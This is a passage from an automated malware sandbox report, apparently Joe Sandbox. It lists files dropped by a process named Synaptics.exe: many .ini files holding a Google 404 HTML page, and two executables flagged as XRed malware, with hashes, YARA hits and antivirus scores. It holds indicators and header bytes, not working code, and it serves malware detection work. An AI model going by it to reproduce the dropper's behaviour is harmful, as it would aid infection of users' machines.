SHA1:	0C2527019952EEAC8793DB9A0BA324345A9CD064
SHA-256:	27226671D80276F41610C99DE9F222BFD654293CFCB3296B71B56B40D5919AA0
SHA-512:	1C9DC209F3C6C6009D59C642CD9545F9D1ED7B4EF0E32BACF65F120002CAC02A4DE3AADBDDC240E376B81435D0A56AA701C4EE8CA16F2912F87921A26B19F33F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ih8XVXoOwsGJZXbSjQ9pAA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Iw1iV7S.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26196287734362
Encrypted:	false
SSDEEP:	24:bsF+0/XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+A+pAZewRDK4mW
MD5:	FD24A31CA81C46E9C85D68B158827741
SHA1:	70F322B62E59EB8B45FB29B9CA0D03B423EEB646
SHA-256:	768025040BB25E08ECC77CDDBD0C047C714B28AA1D2AD716BAA36266E00FE791
SHA-512:	D0B00C18CCB0F2781F85759A9723776073F94DF7C736C028568EA9608C09B1330F74EBDBA87230F9DB78107BE96F4EDD334F5EAFE096C55B9E1B1E835180B0F7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="doDRQNdQ3ewag3Pc4j7SIA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\KA2orp4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262875690066532
Encrypted:	false
SSDEEP:	24:bsF+0biSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+h+pAZewRDK4mW
MD5:	63D49EDF9951A1DA852E1947D384771A
SHA1:	CA135FCEF0C75543FDF57CCA58BE58B4D2D5E994
SHA-256:	3F2D2414B8747DF16105789D1D55B041F6ED72330EBFA5EC4A1E3249BE85AEF0
SHA-512:	6A957C0B83B85D2FDDE45825D2F37AD860DA5C3FDD40079FEE91B1AA9814EF510CAFA27CCE8B5C1F6515E18C6779CE6223335AD1A99057A6789F8395BC3F152B
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NcS6ueLw_X4HL-HWBxrs-Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\OLDYHxa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262956216439392
Encrypted:	false
SSDEEP:	24:bsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Z+pAZewRDK4mW
MD5:	A9F5F04FABB96FC655E070CDD481CEA8
SHA1:	B6CAF2A03F3157C4C28CC62F8CB1AD641C611F7F
SHA-256:	91FE3981CC2FE89B3A73EA060E209F30EC5A809C2D6FDE449B04DA5948F6F0E6
SHA-512:	953FDEFE32A120076950BCE75062F63A8C7DBA3FFBBBA0D069F963C40AACADE75DDB23F101728280AC855D1984022A15FC5B0138F9518AA16292FAB1041BF084
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kgg3AgKavp6ejOCkFvBiOQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\PpoDv3I.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.265085470165205
Encrypted:	false
SSDEEP:	24:bsF+08jLSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Zv+pAZewRDK4mW
MD5:	05AABC77C5071B5639EDF3F646CBFE91
SHA1:	1107C613EDB0BB98D159C54354F724639DF9EAC9
SHA-256:	4FF0791DB569FE88EB32997982DC82890E1725AD85A35CC221D1598352DD6CB8
SHA-512:	2630006F065954A21F8112F63F90DD86CC5A0EAE098725EE75E574490B1174F13574F122CAD455BE242595B1414FB05A1755D27E9EE4A96EA2B513F1237C8351
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tmGuE-8yh1SK66GeeRJHzA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\RCX6C69.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2696704
Entropy (8bit):	7.2044489265170855
Encrypted:	false
SSDEEP:	49152:tnsHyjtk2MYC5GDyePAuMpNUUNkjdnVbhcuVY3rMEl3qBk0cSw14/nQLh6ZP:tnsmtk2azePxMnPNkjrlY3bl6Bk0cV1U
MD5:	0D69EC809B706225A7D3D0A8395F1351
SHA1:	7524BEE0A5C5B0A4F407C625AD9880C73A51C49B
SHA-256:	E15DF0B26F4DA82BE7EA4F174CAC2B21C1CBDDAF0AFFB6AFCBE05A217859719E
SHA-512:	0534ADD663089F6F16A3D59E9668FA928E4CAC8DF82D976F2FF3C39B9ADEDB887080D521A4DA54E1AAA8F3FE69F95DEB50278BA30EE8654A2BCA81485AD835F5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@...........................)..................@..............................B......0}...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0}.......~..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\RCX7023.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2696704
Entropy (8bit):	7.20364010126324
Encrypted:	false
SSDEEP:	49152:tnsHyjtk2MYC5GDU5PAuMpNUUNkjdnVbhcuVY3rMEl3qBk0cSw14/nQLh6ZP:tnsmtk2aJ5PxMnPNkjrlY3bl6Bk0cV1U
MD5:	9D0DCFD90996015AEF5B6FEE48F1B4DB
SHA1:	B39EE2837752F562868DAE30D9F67682604C6E2F
SHA-256:	D8850BEB9126297C496D4C02D215656147EDB04154B08A960D2A6E0B4D266004
SHA-512:	ED314D36AB8D7836C08567627DBFE170EC0E5E1AAC4E3BD53C86934AF70E5CC67E19E41A638DAAB3B21692CE865C49B760338A20C1226FB1D3C8B64EF83C9E9A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@...........................)..................@..............................B......0}...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0}.......~..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\U3GA6PO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2716554860661
Encrypted:	false
SSDEEP:	24:bsF+0fSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+4+pAZewRDK4mW
MD5:	F10C7BC3A30BABFC07145333CD43BC58
SHA1:	996FE2937DD37298A7FE8E5C0641B4D538B501BA
SHA-256:	47BBEFC199218B72613FE2479D2B0E353531622D7648D363A94A55A83A2CD528
SHA-512:	3C880B07A54F7129B8CDF97D966950059D2DFD4D18F407C987CF08049F0A3D94C35E93EA73B64D568D0B507768E94DE2355615B67EB28CED76BB08D251E356A8
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CrgXtzT3gO_3M98bAHICMA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\VEFKXmy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26275079038632
Encrypted:	false
SSDEEP:	24:bsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+U+pAZewRDK4mW
MD5:	A9FD401C77666D358AF4690A3F1E5405
SHA1:	02CD1D8C0270D3C7C3E3C0BCBC62EBA07A243E58
SHA-256:	6D029EB9C791A2A323A66E966DE03C3C4ADF7C9A8059FCE4AD98EDDA7EEEF12C
SHA-512:	7EF250017857A512FCA13CF27F3B367E652A3BB14AF5854287E994ED956F3EAF093C15AA0E36868A212C81C115D8D93B43B041070D0C35A18A4A0C2D16D60D07
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TjDID7BburyDjwqfU78Ung">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\YESCXxc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2625543395161385
Encrypted:	false
SSDEEP:	24:bsF+0hPDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+CD+pAZewRDK4mW
MD5:	AEE437C56A9FC5FE642C2F1CB7B05FC6
SHA1:	FE564F9161F8E713440F87308A0591D943FA053D
SHA-256:	7C525E04B84A4AEEEDA6FAD425A5C4B1C441039F612CC9B5698BC3A82D3C37CB
SHA-512:	83168EC0FBEDD4845CB7A78584711C695133B00F978F799867FFE7870EC2A08939DE0270C1069E1D5F9851A530D26F2F80035D7158137208E925F18D1F319001
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NHA97u7tm-AnEg_CSXx8xQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\YcG5o8G.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.269741192344906
Encrypted:	false
SSDEEP:	24:bsF+0Q4AISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+545+pAZewRDK4mW
MD5:	F670D3826483104B9594E9F295A68A78
SHA1:	D047621B9864BFFCAA070A500F508E7CE15860A1
SHA-256:	901243CB0CD51AF19444FBA9D0432DD8DBB2558AB393193EF6D805949FD75DE1
SHA-512:	2ED79376F99189A4EC8606069D06D47438C74A02836E9945013FB32DE475A7A8B3E3F5C9E55C0F400598F94A1C474194896DEED675646D17A660808F85F3C953
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9ZKtO2tqBqRe7z95XrQmVA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\aOygsTq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262831932893492
Encrypted:	false
SSDEEP:	24:bsF+0lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+m+pAZewRDK4mW
MD5:	10E2EAE6679C34C4145C637AE552A7F0
SHA1:	B739ABC0D4B14160DC7B4009795F63D5B7BE269E
SHA-256:	C0323A25F5ACC1B4A729F9C63A7B073D2CE617C90C6D1AAEA791A2B0D10073C6
SHA-512:	DBCC290A1E17513683FC68A450AF152B2F39FEC23F6FB3EC1BCE3644511A2AFEB3B41F0C8230523A0E5C137BF1A0532CA6B10F8C6E8514551221093F4E1FED1E
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EwRg1pXmJaqY_FEKSfPq0g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\bTzjnXO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262665700110091
Encrypted:	false
SSDEEP:	24:bsF+0NsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+p+pAZewRDK4mW
MD5:	FF613C17D7BAD3DEAFCAB40BE34C283E
SHA1:	B2AD4E6124FC88EAF0D769E95254A31318A42197
SHA-256:	3DFB7F0B5DF181738F87FFFD621097D88117E321B4A3BE5D978424D9279DCABE
SHA-512:	90CC626CBA4D6666D311146BF52AA25EED0292E8B08FED2E12DBF3CAAEB149D3C072B9C4C4D0CE513CF295682DB24A4E856959F59CC5459B32C0759E4B16C92F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SASNvmlf9zneGFVcOOOGhw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\dIQmikm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.24745061262881
Encrypted:	false
SSDEEP:	24:bsF+0eSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+N+pAZewRDK4mW
MD5:	5B519DEE8FE088F4666A52FC37C21CFA
SHA1:	ABEA09DFFCD69566021723D558020F464171FD41
SHA-256:	592FDEC6AC9739D96137DCE4F416765C8A16458BD7594EEFF256AA267FF34F8B
SHA-512:	4BE47DA9242807679D5A4D65773923BE35CCD0ADBA8CF62A38575569EC796E69C4C522A5623B57FB7E4AC78A2805A5EBA3C5368A6D22EBA2213F47D885FB9F1D
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T6agnffGuHzFn6bpmkpbtA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\f1OtDqm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268654377752117
Encrypted:	false
SSDEEP:	24:bsF+0x0DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+J+pAZewRDK4mW
MD5:	FC36ADC37D0F823AEB35AA9D5CE3ADBC
SHA1:	AD7C5F7E256B89F6129447DC88550C5F5F30E169
SHA-256:	8C57E6451A6FBA9EDAF8F7821C82DBBD258EA84B3023040A7A4CBF4CFE678CE0
SHA-512:	CA2201973A5BABCDDE640FC0FF1E8F7F8E96744BF508462ECFD2BAD202903350B18A2610F4C1A5B864CDFA852E27F5F3386EA3A85E6172489AC9D670DADD9851
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FHjLfSximqNOeR7IH-65dA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\frfvk6v.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.266153079052047
Encrypted:	false
SSDEEP:	24:bsF+0VSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+e+pAZewRDK4mW
MD5:	C59E4D5928537C45B9DF015A15F5507B
SHA1:	5EB14394ECDB57F90670E783C4F858C78001B1F4
SHA-256:	9211AEE9E2ED001EBBC1C584A30AF859BE0DB510A89514A4FCE054436F1C19FC
SHA-512:	143AD5B7BC9D3B5B46EB2BE824C166D8345491412EB2FED95DFA1B2C62312929FAFF0C2B80931269BCA0745B89F09879D78C50E4A871C6D3711A8B64A64F3CA1
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FkzMLNBmKJw4bfQnQViLiQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\iZr4Cno.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.252113978012803
Encrypted:	false
SSDEEP:	24:bsF+0wDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+7D+pAZewRDK4mW
MD5:	E3F11610B4146CF8692265A79A3827B9
SHA1:	5CF4C4D50D0A54EB0A8761E11A172BBE6E160CBC
SHA-256:	2F87F352B06EC0FF98C9CCCB551D49BD350FD6DF6BF5EB8639EA6DDD2DADA03C
SHA-512:	F9A544C118BEDCF8CFA87B647FF1E1716F9841C2F82F2A90F98BF85E6E620FD06DAE7B4672EFB85F34A65589D584DF7172E53F2F41CFE7D38CD3C21471C1CCC1
Malicious:	false
